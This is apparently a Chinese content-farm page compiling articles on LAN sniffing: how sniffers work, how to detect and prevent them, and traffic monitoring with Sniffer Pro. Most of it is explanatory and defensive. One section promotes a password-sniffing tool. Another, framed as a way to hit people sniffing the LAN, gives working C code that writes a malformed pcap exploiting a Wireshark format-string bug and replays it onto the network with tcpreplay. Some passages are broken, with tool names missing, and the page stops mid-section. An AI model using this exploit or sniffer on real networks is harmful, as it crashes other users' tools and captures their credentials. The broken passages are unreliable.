欢迎来到千学网!
您现在的位置:首页 > 实用文 > 其他范文

局域网探嗅工具 sniffer

时间:2022-07-04 08:18:28 其他范文 收藏本文 下载本文

下面是小编为大家整理的局域网探嗅工具 sniffer,本文共10篇,仅供参考,喜欢可以收藏与分享哟!

局域网探嗅工具 sniffer

篇1:局域网探嗅工具 sniffer

局域网sniffer工具! SniffPass - Password SnifferListen to your network, and capture POP3, IMAP4, SMTP, FTP, and HTTP (basic authentication) passwords!

下载地址: 局域网探嗅工具 sniffer

篇2:如何发现及防止Sniffer嗅探器

如何发现及防止Sniffer嗅探器!

如何在网络中发现一个Sniffer,简单的一个回答是你发现不了,因为他们根本就没有留下任何痕迹,sniffer是如此嚣张又安静,如何知道有没有sniffer存在,这也是一个很难说明的问题。

查找网络存在sniffer

一、网络通讯掉包率反常的高

通过一些网络软件,可以看到信息包传送情况,向ping这样的命令会告诉你掉了百分几的包。如果网络中有人在Listen,那么信息包传送将无法每次都顺畅的流到目的地。(这是由于sniffer拦截每个包导致的)。

二、网络带宽出现反常

通过某些带宽控制器(通常是防火墙所带),可以实时看到目前网络带宽的分布情况,如果某台机器长时间的占用了较大的带宽,这台机器就有可能在监听。在非高速信道上,如56Kddn等,如果网络中存在sniffer,你应该也可以察觉出网络通讯速度的变化。

三、查看计算机上当前正在运行的所有程序。

但这通常并不可靠,但可以控制计算机中程序运行。在Unix系统下使用下面的命令:ps -aux 或:ps -augx。这个命令列出当前的所有进程,启动这些进程的用户,它们占用CPU的时间,占用内存的多少等等。

Windows系统下,按下Ctrl+Alt+Del,看一下任务列表。不过,编程技巧高的Sniffer即使正在运行,也不会出现在这里的。

系统中搜索,查找可疑的文件。但入侵者可能使用自己编写的程序,所以都会给发现sniffer造成相当大的困难。

还有许多工具,能用来看看你的系统会不会在杂收模式。从而发现是否有一个Sniffer正在运行。

防止sniffer 驻入

对于嗅探器如此强大的灵敏度,你最关心的可能是传输一些比较敏感的数据,如用户ID或口令等等。有些数据是没有经过处理的,一旦被sniffer,就能获得这些信息,解决这些问题的办法是加密。

介绍一下SSH,全名Secure Shell,是一个在应用程序中提供安全通信的协议,建立在客户机/服务器模型上的。SSH服务器的分配的端口是22,连接是通过使用一种来自RSA的算法建立的,在授权完成后,接下来的通信数据是用IDEA技术来加密的,

这通常是较强的,适合与任何非秘密和非经典的通讯。

SSH后来发展成为F-SSH,提供了高层次的,军方级别的对通信过程的加密。它为通过TCP/IP网络通信提供了通用的最强的加密。如果某个站点使用F-SSH,用户名和口令成为不是很重要的一点。目前,还没有人突破过这种加密方法。即使是sniffer,收集到的信息将不再有价值,当然最关键的是怎样使用它。

另类安全之法

另一个比较容易接受的是使用安全拓扑结构。这听上去很简单,但实现起来花销是很大的。这样的拓扑结构需要有这样的规则:一个网络段必须有足够的理由才能信任另一网络段。网络段应该考虑你的数据之间的信任关系上来设计,而不是硬件需要。开始处理网络拓扑则要做到以下几点:

第一点:一个网络段是仅由能互相信任的计算机组成的。通常它们在同一个房间里,或在同一个办公室里。比如你的财务信息,应该固定在某一节点,就象你的财务部门被安排在办公区域的的一个不常变动的地方。

第二点:注意每台机器是通过硬连接线接到Hub的。Hub再接到交换机上。由于网络分段了,数据包只能在这个网段上被sniffer。其余的网段将不可能被sniffer。

第三点:所有的问题都归结到信任上面。计算机为了和其他计算机进行通信,它就必须信任那台计算机。作为系统管理员,你的工作是决定一个方法,使得计算机之间的信任关系很小。这样,就建立了一种框架,可以告诉你什么时候放置了一个sniffer,它放在那里了,是谁放的等等。

第四点:如果你的局域网要和INTERNET相连,仅仅使用防火墙是不够的。入侵者已经能从一个防火墙后面扫描,并探测正在运行的服务。你要关心的是一旦入侵者进入系统,他能得到些什么。你必须考虑一条这样的路径,即信任关系有多长。举个例子,假设你的WEB服务器对某一计算机A是信任的。那么有多少计算机是A信任的呢。又有多少计算机是受这些计算机信任的呢?在信任关系中,这台计算机之前的任何一台计算机都可能对你的计算机进行攻击,并成功。你的任务就是保证一旦出现的Sniffer,它只对最小范围有效。

Sniffer往往是攻击者在侵入系统后使用的,用来收集有用的信息。因此,防止系统被突破是关键。系统安全管理员要定期的对所管理的网络进行安全测试,防止安全隐患。同时要控制拥有相当权限的用户的数量。请记住,许多攻击往往来自网络内部。

篇3:SNIFFER嗅探器检测工具和对策

本篇文章将讨论通过进入混杂模式下对网络数据包进行监听的工具软件及采取何种对策以降低其破坏性,为了保证网络的安全性和防止不必要的恐慌,系统管理人员应该非常熟悉这些探测工具的能力和其局限性,并在遇到此类问题时应能采取正确的措施。

本机监控不同操作系统的计算机采用的检测工具也不尽相同。大多数UNIX系列操作系统都使用。利用管理人员可以知道网卡是否工作在混杂模式下。但是因为安装未被授权的sniffer时,特洛伊木马程序也有可能被同时安装,因而的输出结果就可能完全不可信。系统管理人员还可以选择其它的主要工具来检测sniffers(嗅探器)是否存在,例如和等等,但是以上问题仍有可能发生。

许多流行的特洛伊木马程序在系统的目录下都有自己的ASCII文件,该文件中包含该木马程序的配置信息。在安全系统中,目录下应该没有ASCII文件,因而系统管理人员应该定时检测目录。如果目录下存在ASCII文件,则表明系统中已经被攻击者安装了sniffer(嗅探器)。

特洛伊木马的ASCII配置文件一般包括sniffers(嗅探器)和与其输出文件相关的进程信息和相应的文件信息,这些信息一般都对系统管理人员隐藏。大多数版本的UNIX都可以使用lsof(该命令显示打开的文件)来检测sniffer(嗅探器)的存在。lsof的最初的设计目地并非为了防止sniffer(嗅探器)入侵,但因为在sniffer(嗅探器)入侵的系统中,sniffer(嗅探器)会打开其输出文件,并不断传送信息给该文件,这样该文件的内容就会越来越大,因而lsof就有了用武之地,

如果利用lsof发现有文件的内容不断的增大,我们就有理由怀疑系统被人装了sniffer(嗅探器)。

因为大多数sniffers(嗅探器)都会把截获的TCP/IP“数据写入自己的输出文件中,因而系统管理人员可以把lsof的结果输出到来减少系统被破坏的可能性。对于BSD的UNIX,可以使用cpm来检测sniffer(嗅探器)的存在。

cpm(该命令检测混杂模式的存在)是由CERT/CC开发的工具软件。在1994年,好多网站报告合法用户名、用户密码和关键数据被恶意偷窃,cpm就在那时应运而生。更多的相关内容请参阅如下站点(www.cert.org/advisories/CA-1994-01.html)。

cpm使用socket(2)和ioctl(2)来判断是否有网卡处在混杂模式,并向系统汇报检测结果。cpm只列出处在混杂模式的网卡。对于使用SunOS 5.5和5.6的用户,可以使用ifstatus检测sniffer(嗅探器)的存在。用户可以从。

对于NT系统,并没有太知名的sniffer(嗅探器)检测工具供使用。就作者所知,NT平台上并没有切实可行的工具去测试网卡的混杂模式。出现这种情况的原因在于作为Microsoft系统平台一部分的工具也可能已经被安装了特洛伊木马程序。使用机器的NT用户可以考虑使用(www.rootkit.com)。

Microsoft平台远程可以利用的管理员级安全漏洞很少,这可能是Microsoft平台下sniffer(嗅探器)工具和检测工具相对较少的一个原因。

篇4:教你如何发现和防止Sniffer嗅探器

如何发现在网络中是否Sniffer,简单的一个回答是你发现不了,因为他们根本就没有留下任何痕迹,sniffer是如此嚣张又安静,如何知道有没有sniffer存在,这也是一个很难说明的问题。

查找网络存在sniffer

一、网络通讯掉包率反常的高

通过一些网络软件,可以看到信息包传送情况,向ping这样的命令会告诉你掉了百分几的包。如果网络中有人在Listen,那么信息包传送将无法每次都顺畅的流到目的地。(这是由于sniffer拦截每个包导致的) 。

二、网络带宽出现反常

通过某些带宽控制器(通常是防火墙所带),可以实时看到目前网络带宽的分布情况,如果某台机器长时间的占用了较大的带宽,这台机器就有可能在监听。在非高速信道上,如56Kddn等,如果网络中存在sniffer,你应该也可以察觉出网络通讯速度的变化。

三、查看计算机上当前正在运行的所有程序。

但这通常并不可靠,但可以控制计算机中程序运行。在Unix系统下使用下面的命令:ps -aux 或: ps -augx。这个命令列出当前的所有进程,启动这些进程的用户,它们占用CPU的时间,占用内存的多少等等。

Windows系统下,按下Ctrl+Alt+Del,看一下任务列表。不过,编程技巧高的Sniffer即使正在运行,也不会出现在这里的。

系统中搜索,查找可疑的文件。但入侵者可能使用自己编写的程序,所以都会给发现sniffer造成相当大的困难。

还有许多工具,能用来看看你的系统会不会在杂收模式。从而发现是否有一个Sniffer正在运行。

防止sniffer 驻入

对于嗅探器如此强大的‘灵敏度’,你最关心的可能是传输一些比较敏感的数据,如用户ID或口令等等。有些数据是没有经过处理的,一旦被sniffer,就能获得这些信息,解决这些问题的办法是加密。

介绍一下SSH,全名Secure Shell,是一个在应用程序中提供安全通信的协议,建立在客户机/服务器模型上的,

SSH服务器的分配的端口是22,连接是通过使用一种来自RSA的算法建立的,在授权完成后,接下来的通信数据是用IDEA技术来加密的。这通常是较强的,适合与任何非秘密和非经典的通讯。

SSH后来发展成为F-SSH,提供了高层次的,军方级别的对通信过程的加密。它为通过TCP/IP网络通信提供了通用的最强的加密。如果某个站点使用F-SSH,用户名和口令成为不是很重要的一点。目前,还没有人突破过这种加密方法。即使是sniffer,收集到的信息将不再有价值,当然最关键的是怎样使用它。

另类安全之法

另一个比较容易接受的是使用安全拓扑结构。这听上去很简单,但实现起来花销是很大的。这样的拓扑结构需要有这样的规则:一个网络段必须有足够的理由才能信任另一网络段。网络段应该考虑你的数据之间的信任关系上来设计,而不是硬件需要。开始处理网络拓扑则要做到以下几点:

第   一点:一个网络段是仅由能互相信任的计算机组成的。通常它们在同一个房间里,或在同一个办公室里。比如你的财务信息,应该固定在某一节点,就象你的财务部门被安排在办公区域的的一个不常变动的地方。

第二点:注意每台机器是通过硬连接线接到Hub的。Hub再接到交换机上。由于网络分段了,数据包只能在这个网段上被sniffer。其余的网段将不可能被sniffer。

第三点:所有的问题都归结到信任上面。计算机为了和其他计算机进行通信,它就必须信任那台计算机。作为系统管理员,你的工作是决定一个方法,使得计算机之间的信任关系很小。这样,就建立了一种框架,可以告诉你什么时候放置了一个sniffer,它放在那里了,是谁放的等等。

第四点:如果你的局域网要和INTERNET相连,仅仅使用防火墙是不够的。入侵者已经能从一个防火墙后面扫描,并探测正在运行的服务。你要关心的是一旦入侵者进入系统,他能得到些什么。你必须考虑一条这样的路径,即信任关系有多长。举个例子,假设你的WEB服务器对某一计算机A是信任的。那么有多少计算机是A信任的呢。又有多少计算机是受这些计算机信任的呢?在信任关系中,这台计算机之前的任何一台计算机都可能对你的计算机进行攻击,并成功。你的任务就是保证一旦出现的Sniffer,它只对最小范围有效。

篇5:网络嗅探:使用Sniffer监控网络流量

网吧内嗅探使用

随着互联网多层次性、多样性的发展,网吧已由过去即时通信、浏览网页、电子邮件等简单的应用,扩展成为运行大量在线游戏、在线视频音频、互动教学、P2P等技术应用,应用特点也呈现出多样性和复杂性,因此,这些应用对我们的网络服务质量要求更为严格和苛刻。

目前,大多数网吧的网络设备不具备高端网络设备的智能性、交互性等扩展性能,当网吧出现掉线、网络卡、遭受内部病毒攻击、流量超限等情况时,很多网络管理员显的心有于而力不足。毕竟,靠网络管理员的经验和一些简单传统的排查方法:无论从时间上面还是准确性上面都存在很大的误差,同时也影响了工作效率和正常业务的运行。

Sniffer Pro 著名网络协议分析软件。本文利用其强大的流量图文系统Host Table来实时监控网络流量。在监控软件上,我们选择了较为常用的NAI公司的sniffer pro,事实上,很多网吧管理员都有过相关监控网络经验:在网络出现问题、或者探查网络情况时,使用P2P终结者、网络执法官等网络监控软件。这样的软件有一个很大优点:不要配置端口镜像就可以进行流量查询(其实sniffer pro也可以变通的工作在这样的环境下)。这种看起来很快捷的方法,仍然存在很多弊端:由于其工作原理利用ARP地址表,对地址表进行欺骗,因此可能会衍生出很多节外生枝的问题,如掉线、网络变慢、ARP广播巨增等。这对于要求正常的网络来说,是不可思议的。

在这里,我们将通过软件解决方案来完成以往只有通过更换高级设备才能解决的网络解决方案,这对于很多管理员来说,将是个梦寐以求的时刻,

硬件环境(网吧):

100M网络环境下,92台终端数量,主交换采用D-Link(友讯)DES-3226S二层交换机(支持端口镜像功能),级联普通傻瓜型交换机。光纤10M接入,华为2620做为接入网关。

软件环境:

操作系统Windows Server企业标准版(Sniffer Pro4.6及以上版本均支持Windows Windows-xp Windows2003)、NAI协议分析软件-Sniffer Portable 4.75(本文选用网络上较容易下载到的版本做为测试)

环境要求:

1、如果需要监控全网流量,安装有Sniffer Portable 4.7.5(以下简称Sniffer Pro)的终端计算机,网卡接入端需要位于主交换镜像端口位置。(监控所有流经此网卡的数据)

2、Snffier pro 475仅支持10M、100M、10/100M网卡,对于千M网卡,请安装SP5补丁,或4.8及更高的版本

网络拓扑:

监控目的:通过Sniffer Pro实时监控,及时发现网络环境中的故障(例如病毒、攻击、流量超限等非正常行为)。对于很多企业、网吧网络环境中,网关(路由、代理等)自身不具备流量监控、查询功能,本文将是一个很好的解决方案。Sniffer Pro强大的实用功能还包括:网内任意终端流量实时查询、网内终端与终端之间流量实时查询、终端流量TOP排行、异常告警等。同时,我们将数据包捕获后,通过Sniffer Pro的专家分析系统帮助我们更进一步分析数据包,以助更好的分析、解决网络异常问题。

篇6:局域网嗅探与监听技术

一. 网络日记并不安全

检察员小洁从小就有写日记的习惯,毕业后上了工作岗位也不曾改变,无论工作多忙多累,每天晚上临近睡觉前她总会把今日发生的事情记录进日记本里,例如一些工作问题、心情想法、同事和上级的事情等等,小洁使用的是一个网站提供的网络日记本服务,她很喜欢那个宁静简洁的文字界面,偶尔没任务要忙或者心情不好的时候,她就会用院里的网络上去看自己以前写的日记。

这天小洁和往常一样来到办公室,却发现气氛不同往常了:同事们面对她的时候笑容很不自然,有几个女同事还偷偷对她指指点点的,小洁看过去时她们却又不说话了,她只好竖起耳朵偷听,隐隐约约听到一句“……连别人还欠着50元没还她都写上去,这个人真……”,小洁的脸瞬间变得煞白:这不是她某天的日记内容吗?……

究竟是谁把小洁的日记偷看了呢?你正在使用的局域网,又能真的很安全吗?小洁不知道,大院的局域网里,有一双耳朵正在悄悄的记录着她的电脑上发送和接收的一切信息……

这双耳朵的名词被称为“网络嗅探”(Network Sniffing)或“网络监听”(Network Listening),它并不是最近才出现的技术,也并非专门用在黑道上的技术,监听技术作为一种辅助手段,在协助网络管理员监测网络传输数据、排除网络故障等方面具有不可替代的作用,因此一直倍受网络管理员的青睐并逐渐发展完善,所谓“监听”技术,就是在互相通讯的两台计算机之间通过技术手段插入一台可以接收并记录通讯内容的设备,最终实现对通讯双方的数据记录。一般都要求用作监听途径的设备不能造成通讯双方的行为异常或连接中断等,即是说,监听方不能参与通讯中任何一方的通讯行为,仅仅是“被动”的接收记录通讯数据而不能对其进行篡改,一旦监听方违反这个要求,这次行为就不是“监听”,而是“劫持”(Hijacking)了。

看了以上对于“监听”概念的描述,有人也许已经跃跃欲试了:我有网络,也有电脑,还有网络嗅探工具,那我能不能把某个收费电影站甚至国防部网站的账号密码记录下来呢?当然这也不是不可能,但是前提是你有足够能力在相关站点实体服务器的网关或路由设备上接入一个监听设备,否则凭一台你自己家里的计算机是无法实现的。这就是“监听”的弱点:它要求监听设备的物理传输介质与被监听设备的物理传输介质存在直接联系或者数据包能经过路由选择到达对方,即一个逻辑上的三方连接。能实现这个条件的只有以下情况:

1. 监听方与通讯方位于同一物理网络,如局域网

2. 监听方与通讯方存在路由或接口关系,例如通讯双方的同一网关、连接通讯双方的路由设备等

因此,直接用自己家里的计算机去嗅探国防部网站的数据是不可能的,你看到的只能是属于你自己领域的数据包,那些害怕自己在家里上网被远方的入侵者监听的朋友大可以松口气了(你机器上有安全的情况除外),除非入侵者控制了你的网关设备,但这需要入侵者具有高级的入侵技术,而一个有高级技术的入侵者会稀罕普通家庭用户是的一台计算机吗?

不可否认,“监听”行为是会对通讯方造成损失的,一个典型例子是在1994年的美国网络 事件,一个不知名的人在众多的主机和骨干网络设备上安装了网络监听软件,利用它对美国骨干互联网和军方网窃取了超过100000个有效的用户名和口令,引发了重大损失,而“监听”技术,就是在那次事件以后才从地下走向公开化的,

下面,我们来更深入一层了解如今最常见的网络监听。

二. 活跃在局域网里的“耳朵”们

由于前面说过的原因,嗅探技术不太能在公共网络设备上使用(仅指入侵行为的安装方式,因为网络管理员要在某个路由设备上设置监听是简单的事情),所以当今最普遍的嗅探行为并不是发生在Internet上的,而是各个或大或小的局域网,因为它很显然满足监听技术需要的条件:监听方与通讯方位于同一物理网络。

1.写在前面:局域网内计算机通讯的概念和寻址

要发生监听事件,就必须有至少两台计算机处于通讯状态,而监听的实质也是数据的传输,这就要求 者自身也处于通讯网络中,而实现局域网通讯的基础是以太网模型(Ethernet),它包括物理上的数据传输设备如网卡、集线器和交换机等,除此之外还需要逻辑上的软件、网络协议和操作系统支持,如网卡驱动程序、TCP/IP协议、NetBIOS协议、多种寻址和底层协议等,具备了这些条件,计算机才可以实现完整的通讯过程。

那么局域网内的计算机通讯是怎么进行的呢?计算机系统要传输数据时,是严格按照IEEE802.3标准的局域网协议进行的,而且还要结合TCP/IP和OSI模型7层规范实施,所以数据是经过打包封装的,从高层到低层被分别加上相关数据头和地址,直至物理层把其转化为电平信号传送出去,而另一台计算机则是通过逆向操作把数据还原的,这就引发了一个问题:寻址问题。

在局域网里,计算机要查找彼此并不是通过IP进行的,而是通过网卡MAC地址(也被称为以太网地址),它是一组在生产时就固化的全球唯一标识号,根据协议规范,当一台计算机要查找另一台计算机时,它必须把目标计算机的IP通过ARP协议(地址解析协议)在物理网络中广播出去,“广播”是一种让任意一台计算机都能收到数据的数据发送方式,计算机收到数据后就会判断这条信息是不是发给自己的,如果是,就会返回应答,在这里,它会返回自身地址,这一步被称为“ARP寻址”。当源计算机收到有效的回应时,它就得知了目标计算机的MAC地址并把结果保存在系统的地址缓冲池里,下次传输数据时就不需要再次发送广播了,这个地址缓冲池会定时刷新重建,以免造成数据老旧和错误。当前活动的ARP表可以使用arp –a命令查看。

话题回到数据被打包成为比特流的最后两层,在这里有一个关键部分被称为“数据链路层”,数据在网络层形成IP数据报,再向下到达数据链路层,由数据链路层将IP数据报分割为数据帧,增加以太网包头,再向下一层发送。以太网包头中包含着本机和目标设备的MAC地址,也就是说,链路层的数据帧发送时,是依靠以太网地址而非IP地址来确认的,网卡驱动程序不会关心IP数据报中的目标地址,它所需要的仅仅是MAC地址,而MAC地址就是通过前面提到的ARP寻址获得的。简单的说,数据在局域网内的最终传输目标地址是对方网卡的MAC地址,而不是IP地址,IP地址在局域网里只是为了协助系统找到MAC地址而已。

篇7:对付局域网嗅探的人,这个有点意思

作者:friddy

如有人在用wireshark嗅探,就播放这个数据

/*

################## THCX #######################################

# Wireshark <= 1.0.6 PN-DCP format string bug POC

###############################################################

# [!] autore: THCX Labs

# [!] PN-DCP eithor standalone or tunneld thru DCE/RPC

# [!] local open of pcapfile also working

###############################################################

*/

#include

#include

#include

char sploit[]=

”xd4xc3xb2xa1x02x00x04x00x00x00x00x00x00x00x00x00xffxffx00x00x01x00x00x00“

”x96x2cx8fx47x97xaax0dx00x22x00x00x00x22x00x00x00x00x02xe3x17xc7x50x00x80“

”xc8x38xa4x8bx81x00x00x00x88x92xfexfex05x00x01x00x00x01x00x01x00x04xffxff“

”x00x00x96x2cx8fx47x96xaex0dx00xd6x00x00x00xd6x00x00x00x00x80xc8x38xa4x8b“

”x00x02xe3x17xc7x50x81x00x00x00x88x92xfexffx05x01x01x00x00x01x00x00x00xb8“

”x02x05x00x10x00x00x02x01x02x02x02x03x02x04x02x05x01x01x01x02x02x01x00x0a“

”x00x00x53x37x2dx33x30x30x45x43x02x02x00x6ex00x00x25x6ex25x6ex25x6ex20x00“

”x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00“

”x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00“

”x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00“

”x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00“

”x00x00x00x00x02x03x00x06x00x00x00x2ax01x01x02x04x00x04x00x00x02x00x01x02“

”x00x0ex00x01xc0xa8x00x0bxffxffxffx00xc0xa8x00x0bx97x2cx8fx47xf2xd0x0ex00“

”x32x00x00x00x32x00x00x00x00x02xe3x17xc7x50x00x80xc8x38xa4x8bx81x00x00x00“

”x88x92xfexfdx04x00x01x00x00x01x00x00x00x14x02x02x00x09x00x01x25x6ex25x6e“

”x25x6ex20x00x05x02x00x02x00x00x97x2cx8fx47x82xd2x0ex00x40x00x00x00x40x00“

”x00x00x00x80xc8x38xa4x8bx00x02xe3x17xc7x50x81x00x00x00x88x92xfexfdx04x01“

”x01x00x00x01x00x00x00x10x05x04x00x03x02x02x00x00x05x04x00x03x05x02x00x00“

”x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00“;

int main{

FILE *fh;

int r;

fh=fopen(”formatstringbug.pcap“,”wb“);

if(!fh){perror(”no open“);exit(1);}

fwrite(sploit,sizeof sploit,1,fh);

fclose(fh);

r=system(”tcpreplay -i eth0 formatstringbug.pcap“);

return 0;

}

篇8:局域网嗅探与监听WEB安全

一. 谁偷看了我的网络日记

检察员小洁从小就有写日记的习惯,毕业后上了工作岗位也不曾改变,无论工作多忙多累,每天晚上临近睡觉前她总会把今日发生的事情记录进日记本里,例如一些工作问题、心情想法、同事和上级的事情等等,小洁使用的是一个网站提供的网络日记本服务,她很喜欢那个宁静简洁的文字界面,偶尔没任务要忙或者心情不好的时候,她就会用院里的网络上去看自己以前写的日记。

这天小洁和往常一样来到办公室,却发现气氛不同往常了:同事们面对她的时候笑容很不自然,有几个女同事还偷偷对她指指点点的,小洁看过去时她们却又不说话了,她只好竖起耳朵偷听,隐隐约约听到一句“……连别人还欠着50元没还她都写上去,这个人真……”,小洁的脸瞬间变得煞白:这不是她某天的日记内容吗?……

究竟是谁把小洁的日记偷看了呢?你正在使用的局域网,又能真的很安全吗?小洁不知道,大院的局域网里,有一双耳朵正在悄悄的记录着她的电脑上发送和接收的一切信息……

这双耳朵的名词被称为“网络嗅探”(Network Sniffing)或“网络监听”(Network Listening),它并不是最近才出现的技术,也并非专门用在黑道上的技术,监听技术作为一种辅助手段,在协助网络管理员监测网络传输数据、排除网络故障等方面具有不可替代的作用,因此一直倍受网络管理员的青睐并逐渐发展完善,所谓“监听”技术,就是在互相通讯的两台计算机之间通过技术手段插入一台可以接收并记录通讯内容的设备,最终实现对通讯双方的数据记录。一般都要求用作监听途径的设备不能造成通讯双方的行为异常或连接中断等,即是说,监听方不能参与通讯中任何一方的通讯行为,仅仅是“被动”的接收记录通讯数据而不能对其进行篡改,一旦监听方违反这个要求,这次行为就不是“监听”,而是“劫持”(Hijacking)了。

看了以上对于“监听”概念的描述,有人也许已经跃跃欲试了:我有网络,也有电脑,还有网络嗅探工具,那我能不能把某个收费电影站甚至国防部网站的账号密码记录下来呢?当然这也不是不可能,但是前提是你有足够能力在相关站点实体服务器的网关或路由设备上接入一个监听设备,否则凭一台你自己家里的计算机是无法实现的。这就是“监听”的弱点:它要求监听设备的物理传输介质与被监听设备的物理传输介质存在直接联系或者数据包能经过路由选择到达对方,即一个逻辑上的三方连接。能实现这个条件的只有以下情况:

1. 监听方与通讯方位于同一物理网络,如局域网

2. 监听方与通讯方存在路由或接口关系,例如通讯双方的同一网关、连接通讯双方的路由设备等

因此,直接用自己家里的计算机去嗅探国防部网站的数据是不可能的,你看到的只能是属于你自己领域的数据包,那些害怕自己在家里上网被远方的入侵者监听的朋友大可以松口气了(你机器上有木马的情况除外),除非入侵者控制了你的网关设备,但这需要入侵者具有高级的入侵技术,而一个有高级技术的入侵者会稀罕普通家庭用户的一台计算机吗?

不可否认,“监听”行为是会对通讯方造成损失的,一个典型例子是在1994年的美国网络 事件,一个不知名的人在众多的主机和骨干网络设备上安装了网络监听软件,利用它对美国骨干互联网和军方网窃取了超过100000个有效的用户名和口令,引发了重大损失,而“监听”技术,就是在那次事件以后才从地下走向公开化的。

下面,我们来更深入一层了解如今最常见的网络监听。

二. 活跃在局域网里的“耳朵”们

由于前面说过的原因,嗅探技术不太能在公共网络设备上使用(仅指入侵行为的安装方式,因为网络管理员要在某个路由设备上设置监听是简单的事情),所以当今最普遍的嗅探行为并不是发生在Internet上的,而是各个或大或小的局域网,因为它很显然满足监听技术需要的条件:监听方与通讯方位于同一物理网络。

1.写在前面:局域网内计算机通讯的概念和寻址

要发生监听事件,就必须有至少两台计算机处于通讯状态,而监听的实质也是数据的传输,这就要求 者自身也处于通讯网络中,而实现局域网通讯的基础是以太网模型(Ethernet),它包括物理上的数据传输设备如网卡、集线器和交换机等,除此之外还需要逻辑上的软件、网络协议和操作系统支持,如网卡驱动程序、TCP/IP协议、NetBIOS协议、多种寻址和底层协议等,具备了这些条件,计算机才可以实现完整的通讯过程。

那么局域网内的计算机通讯是怎么进行的呢?计算机系统要传输数据时,是严格按照IEEE802.3标准的局域网协议进行的,而且还要结合TCP/IP和OSI模型7层规范实施,所以数据是经过打包封装的,从高层到低层被分别加上相关数据头和地址,直至物理层把其转化为电平信号传送出去,而另一台计算机则是通过逆向操作把数据还原的,这就引发了一个问题:寻址问题。

在局域网里,计算机要查找彼此并不是通过IP进行的,而是通过网卡MAC地址(也被称为以太网地址),它是一组在生产时就固化的全球唯一标识号,根据协议规范,当一台计算机要查找另一台计算机时,它必须把目标计算机的IP通过ARP协议(地址解析协议)在物理网络中广播出去,“广播”是一种让任意一台计算机都能收到数据的数据发送方式,计算机收到数据后就会判断这条信息是不是发给自己的,如果是,就会返回应答,在这里,它会返回自身地址,这一步被称为“ARP寻址”。当源计算机收到有效的回应时,它就得知了目标计算机的MAC地址并把结果保存在系统的地址缓冲池里,下次传输数据时就不需要再次发送广播了,这个地址缓冲池会定时刷新重建,以免造成数据老旧和错误。当前活动的ARP表可以使用arp Ca命令查看。

话题回到数据被打包成为比特流的最后两层,在这里有一个关键部分被称为“数据链路层”,数据在网络层形成IP数据报,再向下到达数据链路层,由数据链路层将IP数据报分割为数据帧,增加以太网包头,再向下一层发送。以太网包头中包含着本机和目标设备的MAC地址,也就是说,链路层的数据帧发送时,是依靠以太网地址而非IP地址来确认的,网卡驱动程序不会关心IP数据报中的目标地址,它所需要的仅仅是MAC地址,而MAC地址就是通过前面提到的ARP寻址获得的。简单的说,数据在局域网内的最终传输目标地址是对方网卡的MAC地址,而不是IP地址,IP地址在局域网里只是为了协助系统找到MAC地址而已。

而就是因为这个寻址结构,最终导致了监听实现的发生。

那么,发生在Internet上的监听又是怎么进行的呢?Internet并不采用MAC地址寻址,因此不可能发生类似局域网内的监听案例,实际上,Internet上的监听是因为数据必须通过的路由网关路由设备被做了手脚,不属于本文讨论范围。

2.发生在共享式局域网内的

所谓的“共享式”局域网(Hub-Based Lan),指的是早期采用集线器HUB作为网络连接设备的传统以太网的结构,在这个结构里,所有机器都是共享同一条传输线路的,集线器没有端口的概念,它的数据发送方式是“广播”, 集线器接收到相应数据时是单纯的把数据往它所连接的每一台设备线路上发送的,例如一台机器发送一条“我要和小金说话”的报文,那么所有连接这个集线器的设备都会收到这条报文,但是只有名字为“小金”的计算机才会接收处理这条报文,而其他无关的计算机则会“不动声色”的抛弃掉该报文。因此,共享以太网结构里的数据实际上是没有隐私性的,只是网卡会“君子”化的忽略掉与自己无关的“闲言碎语”罢了,但是很不巧,网卡在设计时是加入了“工作模式”的选项的,正是这个特性导致了噩梦。

每块网卡基本上都会有以下工作模式:Unicast、Broadcast、Multicast、Promiscuous,一般情况下,操作系统会把网卡设置为Broadcast(广播)模式,在Broadcast模式下,网卡可以接收所有类型为广播报文的数据帧――例如ARP寻址,此外它会忽略掉目标地址并非自己MAC地址的报文,即只接收发往自身的数据报文、广播和组播报文,这才是网卡的正常工作模式;如果一块网卡被设置为Unicast或Multicast模式,在局域网里可能会引发异常,因为这两个模式限制了它的接收报文类型;而Promiscuous(混杂)模式,则是罪恶的根源。在混杂模式里,网卡对报文中的目标MAC地址不加任何检查而全部接收,这样就造成无论什么数据,只要是路过的都会被网卡接收的局面,监听就是从这里开始的。

一般情况下,网卡的工作模式是操作系统设置好的,而且没有公开模式给用户选择,这就限制了普通用户的监听实现,但是自从嗅探器(Sniffer)家族发展到一定程度后,开始拥有了设置网卡工作模式的权力,而且矛头直指Promiscuous,任何用户只要在相应选择上打个勾,他的机器就变成了可以记录局域网内任何机器传输的数据的耳朵,由于共享式局域网的特性,所有人都是能收到数据的,这就造成了不可防御的信息泄漏。

可是,最终这种监听方式还是被基本消灭了,人们用了什么手段呢?很简单,局域网结构升级了,变成“交换式局域网”。

但是魔高一丈,若干年后,监听再次卷土重来。

3.发生在交换式局域网内的

作为与“共享式”相对的“交换式”局域网(Switched Lan),它的网络连接设备被换成了交换机(Switch),交换机比集线器聪明的一点是它连接的每台计算机是独立的,交换机引入了“端口”的概念,它会产生一个地址表用于存放每台与之连接的计算机的MAC地址,从此每个网线接口便作为一个独立的端口存在,除了声明为广播或组播的报文,交换机在一般情况下是不会让其他报文出现类似共享式局域网那样的广播形式发送行为的,这样即使你的网卡设置为混杂模式,它也收不到发往其他计算机的数据,因为数据的目标地址会在交换机中被识别,然后有针对性的发往表中对应地址的端口,决不跑到别人家里去。

这一改进迅速扼杀了传统的局域网监听手段,但是历史往往证明了人是难以被征服的……

(1).对交换机的攻击:MAC洪水

